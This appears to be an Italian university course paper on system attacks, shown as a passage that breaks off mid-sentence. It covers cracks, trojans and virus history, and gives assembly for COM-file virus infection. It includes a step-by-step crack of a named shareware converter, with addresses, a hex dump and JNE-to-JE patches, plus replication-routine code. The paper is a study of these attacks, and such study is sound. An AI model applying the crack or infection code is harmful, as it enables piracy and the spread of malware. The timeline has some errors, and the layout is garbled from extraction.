Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
1
PREFAZIONE
Questa ricerca si propone di dare un’idea generale dei più diffusi metodi per attaccare, violare o mettere in stallo un
sistema informatico, soffermandosi in particolare sui virus, codici perniciosi oggi molto diffusi e di grande interesse.
Vengono presentati e descritti i più comuni tipi di virus, spiegandone il funzionamento e i processi logici che
conducono al compimento dell’obbiettivo, descrivendo le istruzioni assembler che vengono utilizzate e fornendo
l’analisi di alcuni codici di virus.
Dopo un introduzione generale sul problema, vengono definiti i crack, allegando un esempio semplice di “crackaggio”,
da me effettuato a scopo descrittivo, spiegandone i passaggi e citando i sofware utilizzati.
In seguito viene introdotto brevemente il cavallo di troia spiegando come funziona e di quali potenzialità può disporre.
Infine la trattazione dei virus, presenta alcuni cenni storici relativi, come funzionano, come realizzarli, come si
classificano e brevemente quali caratteristiche sono legate ai vari tipi. Di tutti questi vengono descritti in dettaglio i
virus che infettano i file .COM, spiegando quali sottoclassi ne fanno parte, allegando un esempio di codice per ogni tipo
(MINI-44, CSpawn, JUSTIN e TIMID II virus), che verrà esaminato istruzione per istruzione. Durante la trattazione si
parla anche di cosa è un COM file, come funziona (relativamente alla sua predisposizione ad essere infettato) e si
descrivono le funzioni asm del sistema utilizzate per creare i vari codici.
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
2
INTRODUZIONE
A partire dal 1980, grazie all’introduzione dei circuiti integrati LSI 1, i computer raggiunsero una affidabilità e costi
ridotti, mai visti fino ad allora. Questo condusse alla quarta generazione di calcolatori, caratterizzata dalla nascita dei
primi personal computer e delle più potenti workstation collegate da reti di comunicazione. In quest’ultimo caso
specialmente, anche il ruolo dei computer cambiò radicalmente assolvendo compiti, non solo relativi alla ricerca, al
calcolo, ma funzioni molto importanti nel settore bancario, gestionale e della memorizzazione di dati. Fu quindi
inesorabile che l’attività criminale interessasse anche questo settore con le motivazioni e nelle modalità più svariate.
Basta pensare al problema della privacy e alla possibilità di accedere a informazioni private e segrete, per esempio
dossier governativi, appartenenti a organi del governo particolarmente delicati, oppure a informazioni che certe società
conservano per indagini di commercio. Informazioni relative a brevetti, prodotti aziendali, tecnologie e piani di
marketing o peggio ancora dati militari, logistici e bellici, se non adeguatamente protetti, potrebbero cadere nelle mani
sbagliate.
L’affidamento, anche esaustivo, di molte attività umane ai computer, la consapevolezza che comunque nessun sistema
informatico sarà mai completamente inespugnabile, il semplice desiderio di violare ciò che per legge è inviolabile,
sono, insieme, le cause che hanno dato origine ad attività criminali informatiche e alla nascita di gruppi sovversivi,
pirati informatici e hacker, il cui scopo è quello di causare disordine, perdite economiche alle multinazionali
informatiche, fughe di dati riservati, anche a scopo di lucro.
Inoltre con la nascita dei sistemi timesharing, l’uso di reti LAN, WAN 2 e internet, che hanno introdotto una
connessione su larga scala , gli attacchi informatici hanno potuto agire a livello globale, organizzarsi meglio tra loro e,
in generale, colpire chiunque si trovi connesso e non sia ben protetto.
Le violazioni di un sistema informatico sono molteplici e si manifestano in moltissime forme. Un sistema sicuro
richiede certe caratteristiche:
-
integrità
disponibilità
segretezza
autenticità
(vale a dire che le risorse di un sistema siano modificabili solo da personale autorizzato)
(le risorse devono essere utilizzate solo da utenti autorizzati)
(dati e informazioni protette sono accessibili solo a parti autorizzate)
(si richiede che un sistema sia in grado di verificare l’autenticità e l’identità di utenti e dati)
Se una risorsa viene neutralizzata o ne viene impedito l’accesso, si tratta di attacco alla disponibilità, e questo riguarda
la distruzione fisica di un hardware, l’interruzione di una linea o l’uso di programmi malware3 per bloccare il
funzionamento di software. Vi sono poi intercettazioni non autorizzate che rappresentano una chiara violazione alla
segretezza in quanto causano la fuga di dati, informazioni o la copia di programmi. La modifica di software, dati o
informazioni in rete prevedono non solo l’accesso, ma anche l’introduzione di cambiamenti non permessi, è quindi una
violazione all’integrità mentre la fabbricazione di oggetti contraffatti, l’aggiunta di record a programmi, la diffusione di
informazioni false in rete sono attacchi all’autenticità.
Esistono anche attacchi che costituiscono più violazioni contemporaneamente. Come esempio, sono oggi molto diffusi e
disponibili in veri e propri siti-archivi, organizzati e gestiti da pirati informatici, i crack, che costituiscono una
violazione al copyright e un attacco esplicito alle società produttrici di software .
La forma più diffusa e pericolosa di attacchi è comunque quella dei malware o programmi perniciosi che sono
programmi o parti di codice subdoli e inaspettati, creati con lo scopo di portare disordine o causare anche il blocco di un
sistema informatico. Di essi fanno parte codici che necessitano di collegarsi a un programma ospite, come i virus, i
cavalli di troia, le trap door, le bombe logiche; altri malware invece sono assolutamente autonomi e in grado di operare
e riprodursi da soli come i worm (vermi) e i batteri.
I virus sono segmenti di codice che si inseriscono in programmi legittimi e hanno due funzioni base, quella di ricerca
dei file da infettare e quella che permette loro di propagarsi; i virus più elaborati possono avere anche routine che
permettono loro di passare inosservati (stealth virus) o routine che eseguono particolari funzioni. I worm
fondamentalmente hanno le stesse peculiarità dei virus però possono agire in modo autonomo, mentre i batteri
consumano le risorse del sistema prendendone possesso e replicandosi in modo esponenziale. Il cavallo di troia è un
malware che si nasconde all’interno di un programma apparentemente innocuo, ma che esegue al suo interno funzioni
pericolose, sfruttando i privilegi che l’utente, relativo al programma, ha sul sistema.
Le trapdoor sono invece porte di accesso, che consentono di accedere a un sistema saltando tutte le procedure di
protezione e vengono impostate dal programmatore, non necessariamente a scopi fraudolenti, ma ad esempio per
accedere facilmente nel caso si presentino problemi da risolvere .Essendo però molto difficile conoscere questi accessi,
gli attacchi tramite trapdoor sono molto complicati da effettuare e sono poco frequenti. Infine le bombe logiche sono
codici programmati per eseguire funzioni pericolose, come la cancellazione di dischi, a condizione che si verifichi un
1
Large scale integration
Local area network, Wide area network
3
MALicious - softWARE
2
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
3
certo evento, che può essere causato fuori sistema da un utente, o può essere legato al clock di sistema, in modo tale da
verificarsi a una certa data e ora.
1.0 I crack
Un crack è in genere un segmento di codice che interviene modificando un software, si pensi ad esempio ai software
shareware o demo che si scaricano in rete; essi sono programmi che vengono gratuitamente rilasciati, solo a scopo di
valutazione, spesso con molte funzioni non abilitate e comunque, dopo un breve periodo di tempo o dopo essere stati
lanciati un certo numero di volte, smettono di funzionare, invitando l’utente all’acquisto del prodotto. Esistono anche
versioni, che richiedono l’acquisto tramite rete di una password, per registrare il software; in tal caso il crack è in realtà
un keymaker, cioè un programma che conosce in anticipo i criteri con cui i codici di registrazione sono prodotti e quindi
è in grado di “calcolarli”. Per esempio la registrazione di un programma potrebbe avvenire inserendo il nome, il
cognome e altri dati dell’utente dai quali, tramite codifica e crittografia, noti solo al programma e al programmatore,
esce il registration number. Tutto funziona finché il sistema di formazione del codice non è noto al “cracker”.
Questo sistema di pubblicizzare prodotti informatici, può rivelarsi piuttosto rischioso in quanto un crack può disabilitare
tutte le restrizioni precedentemente dette e da un semplice programma evaluation, si può avere la full version,
esattamente come se questa fosse stata acquistata, portando perdite alle aziende produttrici. Il crack, è quindi un
esempio di modifica e contraffazione, un attacco alla autenticità e contemporaneamente all’integrità.
Crackare un software che non abbia protezioni particolarmente studiate e resistenti non è poi così complicato e può
essere eseguito direttamente da terminale senza bisogno di scrivere un codice dedicato, basta avere una sufficiente
conoscenza del linguaggio assembler e i seguenti software:
-
W32/16 DASM version 8.93 ,vale a dire un debbugger e disassembler
HEX WORKSHOP version 2.00
Una op-code list contenente le principali istruzioni assembler e i relativi numeri di codice ,per processori Intel
1.1 Esempio di “crackaggio”
Ciò che un crack fa, può quindi essere eseguito anche manualmente e, per meglio descriverne il funzionamento, ecco un
esempio di “crackaggio” piuttosto semplice da eseguire, basato sulla modifica delle istruzioni di jump in assembler :
Il programma PDF2HTM è un piccolo software per la conversione dei file PDF in HTM. Nella sua evaluation version
converte solo un numero limitato di pagine, e dopo 15 lanci del programma si disattiva. Per la sua registrazione e il suo
pieno funzionamento richiede l’immissione di nome, compagnia e e-mail più il numero di serie. Questo sistema di
protezione è violabile anche senza conoscere i criteri di calcolo del series number. Si avvia il programma e nel tool di
registrazione si mette un codice a caso che darà in uscita un messaggio di errore. Dopo aver disassemblato il
programma col W32/16dasm si guarda la sua “list of string data items” che contiene tutte le stringhe di output riferite
dal programma. In essa si troverà il messaggio di errore “series number error, please check” e “Thank you register
PDF2HTM sofware!”. Ora la prima stringa è quella che di fatto esce, mentre la seconda è quella che si vuole esca,
saltando la protezione. Clickando sulla prima frase si visualizza nella sequenza codice asm il punto in cui essa è riferita,
si cerca nelle istruzioni precedenti quella che è la destinazione di un salto condizionato e specifica l’indirizzo da cui è
partito con “referenced by a (U)unconditional or (C)conditional jump at address: 0040549BD”. Con GOTO si va a quel
indirizzo di istruzione e si trova l’obbiettivo cioè la parte di codice che esegue il controllo e, se questo ha esito negativo,
effettua il salto all’istruzione che da in output la stringa di errore. La routine di codice da modificare, presentata dal
disassembler , è la seguente:
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
1)
2)
3)
4)
5)
6)
7)
8)
9)
10)
11)
12)
13)
14)
15)
4
mov dl, byte ptr [eax]
mov bl ,byte ptr [esi]
mov cl,dl
cmp cl,bl
jne 004054C3
test cl,cl
jne 004054BF
mov dl,byte ptr [eax+1]
mov bl ,byte ptr [esi+1]
mov cl,dl
cmp cl,bl
jne 004054C3
add eax,00000002
add esi,00000002
I salti 5,7,12 portano al messaggio di errore precedentemente visto e alla parte di codice che pone delle restrizioni
all’uso del programma, nel caso in cui il confronto tra il numero di registrazione immesso e quello corretto, effettuato
con cmp cl,bl non sia positivo. Sarà sufficiente cambiare questi JNE in JE e il software non eseguirà mai le istruzioni
che ne rendono limitate le prestazioni, proseguendo a eseguire i comandi del programma ,che avrebbe eseguito se il
codice fosse stato corretto, qualsiasi numero di registrazione si inserisca ( a meno che non si scelga proprio quello
giusto, che è l’unico ora in grado di bloccare il sofware). Per cambiare le istruzioni si deve visualizzare il codice in opcode con HEX WORKSHOP, vedere qual è l’indirizzo della istruzione da cambiare sul disassembler, rintracciarla in
op-code e sostituire il corrispondente. Nel caso nostro si vuole sostituire un JNE con JE quindi 75 (JNE) con 74 (JE)
tenendo presente che tra gli indirizzi di istruzione del disassembler e di HEXWORKSHOP c’è un offset di 00400000,
già inserito di seguito:
00405480 8D44 2450 68C8 0000 0050 68FB 0300 0057
00405490 FFD5 BE78 1844 008D 4424 508A 108A 1E8A
004054A0 CA3A D375 1E84 C975 168A 5001 8A5E 018°
004054B0 CA3A D375 0E83 C002 83C6 0284 C975 DC33
004054C0 C075 051B C083 D8FF 85C0 752B 6A10 68E0
004054D0 E643 0068 ACE6 4300 57FF 1584 2443 0068
004054E0 FB03 0000 57FF 158C 2443 0050 FF15 9024
004054F0 4300 E9BD 0400 008D 8424 5401 0000 68C8 C
00405500 0000 0050 68FD 0300 0057 FFD5 8B35 EC21
.D$Ph....Ph....W
...x.D..D$P.....
.:.u...u..P..^..
.:.u.........u.3
.u........u+j.h.
.C.h..C.W...$C.h
....W...$C.P...$
........$T...h.
...Ph....W...5.
Gli op-code in grassetto sono da sostituire con dei 74, così quando il codice arriverà alla sequenza che controlla il series
number inserito, salterà all’istruzione che da in uscita “Thank you register PDF2HTM sofware !” e al codice proprio del
programma. Con la stessa tecnica, cambiando le funzioni di salto con le loro complementari, si possono sottrarre
all’esecuzione routine di codice di un programma che ne sospendono il funzionamento in base al numero di esecuzioni
o alla data , ottenendo un programma che funzionerà sempre, proprio come l’originale. Esempi di funzioni jump su cui
si interviene sono per esempio:
77 cb
73 cb
72 cb
76 cb
72 cb
E3 cb
74 cb
7F cb
7D cb
7C cb
7E cb
JA cb
JAE cb
JB cb
JBE cb
JC cb
JCXZ cb
JE cb
JG cb
JGE cb
JL cb
JLE cb
Jump short if above (CF=0 and ZF=0) above=UNSIGNED
Jump short if above or equal (CF=0)
Jump short if below (CF=1)
below=UNSIGNED
Jump short if below or equal (CF=1 or ZF=1)
Jump short if carry (CF=1)
Jump short if CX register is zero
Jump short if equal (ZF=1)
Jump short if greater (ZF=0 and SF=OF) greater=SIGNED
Jump short if greater or equal (SF=OF)
Jump short if less (SF/=OF)
less=SIGNED
Jump short if less or equal (ZF=1 or SF/=OF)
EB cb
EA cd
E9 cw
FF /4
FF /5
JMP cb
JMP cd
JMP cw
JMP ew
JMP md
Jump short (signed byte relative to next instruction)
Jump far (4-byte immediate address)
Jump near (word offset relative to next instruction)
Jump near to EA word (absolute offset)
Jump far (4-byte address in memory doubleword)
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
76 cb
72 cb
73 cb
77 cb
73 cb
75 cb
7E cb
7C cb
7D cb
7F cb
JNA cb
JNAE cb
JNB cb
JNBE cb
JNC cb
JNE cb
JNG cb
JNGE cb
JNL cb
JNLE cb
Jump short if not above (CF=1 or ZF=1)
Jump short if not above or equal (CF=1)
Jump short if not below (CF=0)
Jump short if not below or equal (CF=0 and ZF=0)
Jump short if not carry (CF=0)
Jump short if not equal (ZF=0)
Jump short if not greater (ZF=1 or SF/=OF)
Jump short if not greater or equal (SF/=OF)
Jump short if not less (SF=OF)
Jump short if not less or equal (ZF=0 and SF=OF)
71 cb
7B cb
79 cb
75 cb
70 cb
7A cb
7A cb
7B cb
78 cb
74 cb
JNO cb
JNP cb
JNS cb
JNZ cb
JO cb
JP cb
JPE cb
JPO cb
JS cb
JZ cb
Jump short if not overflow (OF=0)
Jump short if not parity (PF=0)
Jump short if not sign (SF=0)
Jump short if not zero (ZF=0)
Jump short if overflow (OF=1)
Jump short if parity (PF=1)
Jump short if parity even (PF=1)
Jump short if parity odd (PF=0)
Jump short if sign (SF=1)
Jump short if zero (ZF=1)
5
2.0 Cavalli di troia
Il cavallo di troia è un tipo di codice che contiene delle codifiche nascoste, abilmente celate all’utente vittima, perché
posizionate in un programma legittimo. Una volta entrato in azione può fare tutto ciò che l’utente ha il privilegio di fare
e in modo che questo difficilmente se ne accorga, una volta avviato il programma ospite. Le attività del cavallo di troia
possono quindi comprendere :
-
cancellare file che l’utente può cancellare
-
trasmettere file e dati, leggibili dall’utente, all’intruso che l’ha creato
-
apportare modifiche ai file che l’utente può cambiare
-
installare programmi che possono attivare connessioni non autorizzate dall’utente
-
modificare i livelli di sicurezza di certe protezioni del sistema rendendolo più vulnerabile, nel caso del
browser di connessione, per esempio, i cavalli di troia possono abbassare il livello di guardia, togliere eventuali
filtri di sicurezza in modo che ulteriori attacchi esterni possano avere più facilmente successo.
-
Installare virus o altri cavalli di troia
-
Creare problemi di security threat, per esempio si pensi a un programma di login che richiede una user-id e
una password per l’accesso a un sistema. Se tale programma e sotto il controllo di un cavallo di troia,
l’aspirante intruso riuscirà facilmente a conoscere i dati di accesso, forniti dallo stesso utente, ignaro di cosa
stia succedendo.
Il danno subito è relativo all’importanza delle informazioni e alle directory a cui il cavallo di troia riesce ad accedere ,da
cui dipendono i privilegi che assumerà nel sistema. Se l’utente vittima ha accesso a operazioni di amministrazione del
sistema anche il cavallo di troia può intervenire in questo senso, cioè può controllare l’amministratore di sistema,
collegarsi quindi in root alla cima del file system e avere qualsiasi accesso. La “root account” di Unix , la “administrator
account” di windows NT sono possibili obbiettivi, tramite i quali un cavallo di troia avrebbe alti privilegi di e
incrementerebbe notevolmente il suo impatto sul sistema. Un cavallo di troia, per essere efficace deve essere nascosto e
lavorare all’insaputa dell’utente, inserendo il codice malware in un programma legittimo all’apparenza e perfettamente
funzionante, così da non destare sospetti nella vittima. Per esempio, recentemente venne rilevata in rete la distribuzione
di e-mail con free upgrade di Microsoft Internet Explorer, sebbene la Microsoft non mettesse a disposizione
aggiornamenti o patches tramite e-mail. Queste contenevano infatti un eseguibile nascosto, chiamato le0199.exe il
quale, una volta attivato, cercava di apportare molte modifiche al sistema e tentava di connettersi ad altri sistemi remoti.
Molto diffuse sono anche e-mail con giochi da installare, oppure e-mail presentate come avvertimenti da
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
6
parte di organizzazioni di sicurezza, a nome del CERT 4 per esempio, che sono invece mezzi per indurre l’utente a
installare i programmi allegati, che funzionano effettivamente per come sono stati presentati, ma al loro interno celano il
vero malware, che viene installato anch’esso dallo stesso utente. Inoltre, dal momento che il DNS 5 non mette a
disposizione una autenticazione forte, gli utenti possono essere indotti a connettersi a siti che sono diversi da quelli a cui
volevano inizialmente connettersi, a eseguire download di software con provenienza ben differente da quella che
pensavano o a rivelare dati personali a utenti non ben intenzionati. Spesso i cavalli di troia vengono sostituiti alle
legittime versioni di software, liberamente scaricabili dalla rete nei siti distributori di software, così il malware verrà
scaricato da molti utenti; ancora più grave è il caso in cui la sostituzione avviene in siti di livello superiore , come
grandi centri di distribuzione software, a cui i siti suddetti fanno riferimento, in tal modo il malware sarà in grado di
diffondersi molto velocemente e su larghissima scala nella Internet community. Per quanto detto, il cavallo di troia è
uno delle modalità più subdole e minacciose in cui la violazione della sicurezza informatica si manifesta e la soluzione
migliore resta la prevenzione e una accurata attenzione a ciò che si scarica dalla rete. Infatti, una volta insinuati nel
sistema, per utenti privi di una certa esperienza e senza certe conoscenze non è facile rilevarli.
3.0 I virus , cenni storici
Il primo virus fu sviluppato nel novembre del 1983, con fini dimostrativi, nell'ambito di una ricerca finanziata da una
delle principali società costruttrici di computer ed inserita in un più generale progetto di studio della sicurezza dei
sistemi informativi. L'obiettivo della ricerca era di dimostrare come le possibilità di un attacco al patrimonio
informativo di un'azienda non fossero limitate a quelle tradizionalmente prese in esame negli studi sulla sicurezza fino
ad allora svolti; tali studi avevano incentrato la loro attenzione sull'attacco fisico (p.es. atti terroristici), sulla conoscenza
illegittima di password e su modifiche ai programmi effettuate da personale interno alle aziende. L'esperimento, che
riuscì perfettamente, dimostrò che predisponendo opportunamente il programma aggressore era possibile attaccare
qualsiasi sistema: il virus sperimentale, sviluppato in sole otto ore da un esperto, impiegava meno di mezzo secondo per
replicarsi "copiandosi" in un altro programma, che diventava, a sua volta, "portatore" del virus. Possiamo riassumere
sinteticamente la storia dei virus in alcuni eventi essenziali:
4

NEL 1983

NEL 1987
NASCE BRIAN IL PRIMO VIRUS CHE INFETTA IL SETTORE DI BOOT DEI VECCHI
FLOPPY DA 5.1/2 USANDO IL METODO STEALTH NELLO STESSO PERIODO NASCE UN
SECONDO VIRUS "STONED". UN VIRUS LETALE PER IL SISTEMA OPERATIVO

NEL 1988

NEL 1989
NASCE DARK AVENGER IL CUI DANNO SI MANIFESTA LENTAMENTE ,NASCE
ANCHE IL PRIMO ANTIVIRUS COMMERCIALE DISTRIBUITO DA IBM

NEL 1990

NEL 1991 NASCONO I PRIMI PROGRAMMI VERI E PROPRI PER CREARE PER I VIRUS

NEL 1992IL PRIMO VIRUS CHE VIENE PUBBLICATO DAI GIORNALI " MICHELANGELO". ALLA
DATA DELLA NASCITA DELL'ARTISTA INFETTA PARTI DELL' HARD DISK

NEL 1995 IL PRIMO ARRESTO PER I VIRUS. ALL'AUTORE DEL VIRUS PATHONGEN VIENE
INDIVIDUATO DALLA FAMOSA POLIZIA INGLESE E CONDANNATO A 18 DI RECLUSIONE

NEL 1999 NASCE CHERNOBYL. VIRUS MOLTO DIFFUSO IN EUROPA E IN ASIAI DANNI CREATI
DA ESSO SI VALUTANO IN 500.000.000 DI LIRE .NASCE ANCHE IL VIRUS MELISSA , IL PRIMO
VIRUS CHE RIESCE A PASSARE AUTOMATICAMENTE DA UN COMPUTER ALL'ATRO

NEL 2000 "I LOVE YOU" QUESTO NOME IN QUESTO ULTIMO PERIODO A STATO L'INCUBO DEL
MONDO INFORMATICO. CAUSO' E STA CAUSANDO ANCORA DANNI.
FRED COHEN DEFINISCE IL TERMINE VIRUS INFORMATICO
NASCE IL PRIMO SOFTWARE ANTIVIRUS
ESCONO SULLA RETE I PRIMI VIRUS POLIFORMI
Computer Emergency Response Team.
Domain Name Service : schema di nominazione usato in internet, specifica la struttura di dominazione del sito e gli host ,effettua
la conversione tra nome e indirizzo.
5
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
7
Il primo virus sviluppato in Italia, che ebbe una notevole diffusione in tutto il mondo, fu il cosiddetto virus della pallina
- denominato «ping-pong» - che si limitava a far comparire sul video del computer una "faccina sorridente" che si
spostava su tutto lo schermo; è quasi certo che tale virus sia stato realizzato per fini di ricerca, nel 1987, da alcuni
studenti del politecnico di Torino. Secondo l’ICSA 6 sono stati individuati oltre 60.000 virus e ogni mese ne nascano
400 nuovi. Questo da un minima idea dell’ evoluzione del fenomeno e del fatto che il problema della sicurezza è
estremamente dinamico. Ovviamente agli inizi, il mezzo di trasmissione era costituito dai floppy disk, ma in seguito
internet rinnovò completamente il sistema di diffusione. Le e-mail, molto usate nel mondo del bussines, permisero ai
virus di muoversi a velocità altissime e di infettare una intera compagnia in pochi minuti, con danni e costi notevoli.
3.1 Il virus e le sue caratteristiche
La definizione di "virus informatico" può sostanzialmente essere sintetizzata in poche parole:
una porzione di codice progettato per eseguire due attività. La prima quella di propagarsi in altri programmi, la seconda
quella di annidarsi nel sistema per poter eventualmente eseguire un “compito” specifico.
Ogni virus, per poter essere attivabile, deve avere almeno due parti, o subroutine, una per individuare nuovi file, nuove
directory o dischi, che siano possibili bersagli da infettare, l’altra per copiare sé stesso nell’obbiettivo individuato. Dalla
prima parte del virus dipende quanto abilmente sarà in grado di diffondersi, se l’infezione sarà veloce, lenta, se potrà
infettare più di un disco, se il bersaglio sarà uno a caso o uno specifico. Ovviamente più questa routine è lunga e
complessa più il virus sarà diffusivo e forte, ma avrà anche dimensioni maggiori facilitandone la sua individuazione.
La seconda parte è una copy routine, e anche per essa vale il discorso precedente, cioè in base al target prefissato, potrà
essere sofisticata e lunga ,oppure molto semplice e, più corta sarà, meno facile sarà rilevare il malware. Tutto dipende
dal tipo di file che si vuole infettare, per esempio i file COM sono i più semplici da colpire e la copyroutine necessaria
occupa poche righe di codice, mentre i file EXE hanno una struttura più complessa e per essere infettati richiedono
virus più elaborati.
Quanto detto serve a realizzare un virus base, con il minimo necessario per “sopravvivere”, ma si possono implementare
parti che lo rendano più efficace, oppure che gli facciano eseguire certe istruzioni. Spesso si usano segmenti di codice
aggiuntivi , dette anti detection routines, che mascherano il virus o comunque che ne impediscono la rilevazione (come
nel caso di stelth virus). La difficoltà nel realizzarli varia molto, dai più facili, che prendono la stessa data di un file in
cui l’hanno infettato, ai più complicati che camuffano il virus, facendo credere ai programmi anti virus che gli stessi non
sono presenti. Un virus può anche contenere una routine specializzata a una particolare funzione di danneggiamento
detta payload del virus e questa può essere la semplice visualizzazione di un messaggio, oppure operazioni con
conseguenze più gravi, come modificare e/o distruggere programmi e file di dati, la formattazione dei dischi, il
sovrautilizzo di risorse. La classificazione dei virus viene fatta in base al tipo di programmi che infettano e alla modalità
adottata. La prima grande distinzione è tra boot infector virus, che infettano il boot sector il quale entra in esecuzione
solo all’avvio del computer, e i file infector virus che colpiscono programmi ordinari sul disco. Vi sono anche multipartite virus che sono l’unione dei due tipi precedenti e che quindi infettano sia il boot sector sia dei file o programmi
normali. I file infector a loro volta si classificano in base al formato dei file vittima, quindi file .COM , .EXE , .SYS o
più tipi insieme e presentano notevoli differenze l’uno dall’altro.
Un’altra significativa distinzione va fatta tra i memory resident virus e i direct acting virus. I primi nascondono se stessi
nella memoria del computer mentre i secondi non lasciano alcuna traccia in memoria del codice che va in esecuzione
dopo che il programma ospite, al quale il virus è attaccato, sia stato eseguito. I primi sono più efficaci in quanto
risiedendo nella memoria possono saltare da una directory all’altra o passare attraverso più dischi seguendo tutti i
spostamenti dell’utente nel normale utilizzo del computer, inoltre distribuiscono meglio nel tempo le operazioni di
infezione dei programmi ospite. Per quanto riguarda le dimensioni di un virus, variano da decine di bytes a poche
migliaia di bytes. Un virus con dimensioni minori di 500 byte, quindi molto piccolo, è adatto a non essere rilevato con
facilità. Virus più comuni, occupano in genere più di 1500 byte, e alcuni, anche se di dimensioni maggiori ,riescono a
nascondersi bene in quanto riescono a cancellare le loro tracce, tramite routine particolari, per esempio il Whale virus
ha questa peculiarità ed è uno dei migliori “stealth” virus presenti. Dimensioni superiori a quelle suddette rendono più
facile la rilevazione del virus.
6
International Computer Security Association
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
8
Per scrivere un virus è in maggioranza usato il linguaggio assembly, mentre i linguaggi di alto livello, come il basic, il
C, il Pascal sono usati per scrivere i veri software, e mal si prestano alla creazione di virus in quanto sono linguaggi
poco versatili, incapaci di far eseguire ai virus, in modo veloce e ottimale, i salti da un programma ospite a un altro.
L’assembly è molto compatto, caratteristica molto utile in un virus, permette di accedere facilmente agli interruptus, e
quindi di avere facilmente a disposizione il controllo totale delle risorse di sistema del computer, con operazioni che
danno la gestione completa degli interrupt hardware.
Quindi, benché esistano eccezioni per cui sia preferibile usare altri linguaggi, l’assembly è sempre il prediletto nella
produzione di virus.
Il software da usare consta di un compilatore, come il BORLAND TURBO ASSEMBLER (TASM), il shareware A86
assembler, il Microsoft Macro Assembler (MASM), il BORLAND C++ o il Zortech C. Molto utile è avere un antivirus
da usare come tester e come fonte di dati, così come i manuali di utilizzo dei principali sistemi operativi, in cui sono
presenti appendici che descrivono le operazioni che potrebbero mettere in crisi il sistema, vietate a un utente normale,
ma fonti di idee per nuovi virus. Altri software necessari sono un debugger,un disassembler e memory management
utilities come MAPMEM,PMAP 7.
3.2 Ciclo vitale del virus e suoi meccanismi
In genere un virus nasce alla sua creazione e resta inattivo quando è stato completamente trasmesso
Creazione: come detto, la creazione di un virus richiede una buona conoscenza del linguaggio di livello basso
assembler e del funzionamento del sistema e un pacchetto di software.
Replicazione: questa fase può durare lunghi periodi di tempo, per garantire una massima diffusione e prevede
l’individuazione del codice bersaglio che ospiterà il virus ,e la scrittura di una copia di questo nel file da infettare.
Attivazione: esecuzione dell’eventuale payload
Identificazione: quando un virus viene individuato e isolato, viene inviato alla ICSA a Washington, per essere studiato
e distribuito alle aziende produttrici di antivirus. Dalla sua diffusione alla sua identificazione passa in media ameno un
anno e, in base alla sua complessità, passano da qualche giorno a sei mesi prima che si sviluppino gli aggiornamenti dei
software di protezione contro quel virus.
Di particolare interesse è la fase di replicazione, cioè ricerca e infezione del programma ospite, in quanto da questa
dipende direttamente la sopravvivenza del virus e un programmatore di malware deve avere particolare riguardo nel
comporre il codice a essa relativa. Per esempio una delle modalità di implementazione di questa funzione consiste nel
salvare pochi dei primi byte del file vittima, e poi copiare una porzione del suo codice all’inizio del file e il resto alla
fine.
P1
P2
V1
File non ancora infetto
V2
Codice del virus
Il virus salva una porzione di P1 esattamente uguale a V1, inserendola o alla fine del file stesso o all’interno del proprio
codice. Supponiamo sia il primo caso:
P1
P2
P1
In seguito copia la sua parte V1 al posto di P1
V1
P2
P1
In fine, il virus copia la sua seconda parte al termine del file. Il risultato sarà:
7
MAPMEM, PMAP sono delle utility di memory management
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
V1
P2
P1
9
V2
La funzione di V1 è essenzialmente di trasferire il controllo del programma a V2 ,per esempio:
JMP FAR PTR Duh
Pun DW V2_start
; prende 4 bytes
; prende 2bytes
Pun è un puntatore (segmento: offset) alla prima istruzione di V2 e va cambiato a seconda della lunghezza del file
infettato. Se, ad esempio, la lunghezza originale del file fosse 79 byte=P1+P2, il valore di Pun si otterrebbe
aggiungendo la dimensione di V1 ai 79 byte più 256, quindi 6+79+256=341 decimali che in esadecimale da 155,
quindi Pun è tale che venga eseguita l’istruzione all’indirizzo 155h. In alternativa
DB 1101001b
Pun DW V2_Start - OFFSET Pun
; Codice per JMP (2 byte-spostamento)
; 2 byte spostamento
Questo inserisce il salto di offset direttamente nel codice seguente l’istruzione di salto e la seconda riga può essere
sostituita con lo stesso effetto da :
DW V2_Start - $
V2 contiene il resto del codice e può servire a scrivere P1 sopra V1 in memoria trasferendo il controllo all’inizio del
file. Per fare questo il codice sarà:
MOV SI, V2_START
SUB SI, V1_LENGTH
MOV DI, 0100h
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
; V2_START è un indice che segna dove V2 comincia
; torna indietro dove P1 è situato
; tutti i file COM sono posti in @ CS:[100h] in memoria
; sposta CX byte
; DS:[SI] -> ES:[DI]
Questo codice assume che P1 è posto appena prima di V2,come in :
P1_posto_qui:
.
.
.
V2_inizio:
Esso assume anche che ES sia uguale a CS. Se questo non fosse vero si dovrebbe fare una modifica corrispondente, per
esempio:
PUSH CS
POP ES
MOV SI, P1_START
MOV DI, 0100h
MOV CX, V1_LENGTH
REP MOVSB
; immagazzina CS
; e lo muove in ES
;spostandolo da ovunque sia P1
;a CS:[100h]
MOV DI, 0100h
JMP DI
Questo codice prima sposta CS in ES e poi regola il puntatore sorgente di MOVSB verso la posizione dove P1 è situato
in memoria ed è necessario quindi avere l’offset di P1 e non la sua posizione fisica nel file. L’offset di P1 sarà 100h in
più della posizione fisica del file siccome assumiamo che i file COM siano posti a partire da CS:[100h]. Riassumendo
la struttura sarà :
V1_Start:
JMP FAR PTR Pun
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
10
Pun DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; prima parte del programma posta qui e da usare in futuro
P1_End:
V2_Start;
V2_End:
V1_Lunghezza = ( V1_fine - V1_inizio)
In alternativa si può piazzare P1 in V2 così:
V2_Start:
P1_Start:
P1_End:
V2_End;
Quanto detto serve a infettare file COM senza renderli inutilizzabili.
I compiti specifici della sezione di replica sono:
- Trovare il file da infettare
- Controllare che non sia già infettato
- In tal caso tornare al punto di partenza 1
- Infettarlo
- Coprire le tracce
- Tornare comunque da capo
Preso un file il virus deve aprirlo e leggere i primi byte, verificando che questi non siano uguali al proprio V1 e in tal
caso infettarlo. Se fossero uguali vorrebbe dire che il file sarebbe già stato infettato e il file andrebbe ignorato. Per virus
